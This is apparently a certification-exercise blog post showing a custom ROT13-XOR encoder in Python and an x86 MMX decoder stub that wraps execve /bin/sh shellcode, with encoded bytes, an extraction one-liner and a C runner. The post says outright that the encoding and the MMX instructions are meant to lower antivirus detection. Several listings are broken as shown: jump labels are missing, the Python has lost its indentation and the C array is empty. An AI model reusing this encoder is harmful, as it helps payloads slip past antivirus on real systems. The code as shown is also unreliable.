0x4: ROT13_XOR_Encoder_MMX_Decoder_Shellcode – Linux/x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE-1233
Assignment: 4
Github repo: https://github.com/kartikdurg

In this post I will be using one of my custom encoding schema “ROT13-XOR-Encoder” to encode execve-stack shellcode and also a decoder stub for the same using MMX instruction for shellcode execution.


Why encoding for shellcode?

During exploitation, our custom shellcode can contain bad characters or null-bytes due to which exploitation fails on the target application. In such cases, an encoding schema can be used to eliminate bad characters or null-bytes present in our shellcode.
Sometimes, encoding will also trick AV’s (Anti-Virus) into believing that your shellcode is not malicious.

In this post we will be encoding the below execve-stack shellcode:


Generating an encoded shellcode:

The python script below represents “ROT13-XOR-Encoder” schema:


# ROT13 - XOR Encoder

#original execve-stack
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

rot = 13

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
shell_rot = (x + rot)%256

# XOR Encoding 
xor_rot = shell_rot^0xAA
encoded += '\\x'
encoded += '%02x' %xor_rot

encoded2 += '0x'
encoded2 += '%02x,' %xor_rot

print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

As noticed in the above python script, every byte in shellcode is first incremented by 13 and then we XOR that incremented value with 0xAA to get our final encoded shellcode.


Decoding the encoded shellcode:

To execute the encoded shellcode, a decoder stub was developed in assembly as below using MMX instruction. The advantage of using instructions like MMX,FPU,SSE and SSE2 is that, it has lesser detection rates by AV.

Lets jump into our decoder stub:

global _start

section .text

jmp short call_decoder

pop edi                        ;"edi" now points to "xor_value"
lea esi, [edi +16]             ;"esi" now points to "Shellcode"
xor ecx, ecx
mov cl, 4                      ;Size of our shellcode is 25|"qword" operates 8bytes ata time hence 4*8=32|"loop" 4 times

movq mm0, qword [edi]          ;move 8bytes of "xor_value" to mm0
movq mm1, qword [esi]          ;move 8bytes of "Shellcode" to mm1
pxor mm0, mm1                  ;Perform XOR operation
movq qword [esi], mm0          ;overwrite the "Shellcode" with previous results
add esi, 0x8                   ;now "esi" points to next 8bytes of "Shellcode"
loop XOR_decode                ;loop 4 times

lea edi, [edi +8]              ;"edi" now points to "rot_value"
lea esi, [edi +8]              ;"esi" now points to "Shellcode"|"Shellcode" contains previous XOR'ed results
xor ecx, ecx
mov cl, 4                      ;"loop" 4 times

movq mm2, qword [edi]          ;move 8bytes of "rot_value" to mm2
movq mm3, qword [esi]          ;move 8bytes of "Shellcode" to mm3
psubb mm3, mm2                 ;Subtract 13 from "Shellcode"
movq qword [esi], mm3          ;overwrite the "Shellcode" with previous results
add esi, 0x8                   ;now "esi" points to next 8bytes of "Shellcode"
loop ROT_decode                ;"loop" 4 times

jmp short Shellcode            ;Execute decoded shellcode


call decoder1
xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
rot_value: db 13, 13, 13, 13, 13, 13, 13, 13
;Paste your Encoded shellcode below
Shellcode: db 0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27

To decode the encoded payload we first XOR it and then subtract 13(0xd) from XOR’ed results to get final shellcode.


Compiling the assembly and extracting the shellcode:


objdump -d ./mmx-rot-xor-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Executing the final shellcode:


unsigned char shellcode[] = \

printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;





Exploit-DB: https://www.exploit-db.com/exploits/45538

Link to shellcode.c:


Link to shellcode.asm:


Thank you for reading 🙂

– Kartik Durg

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s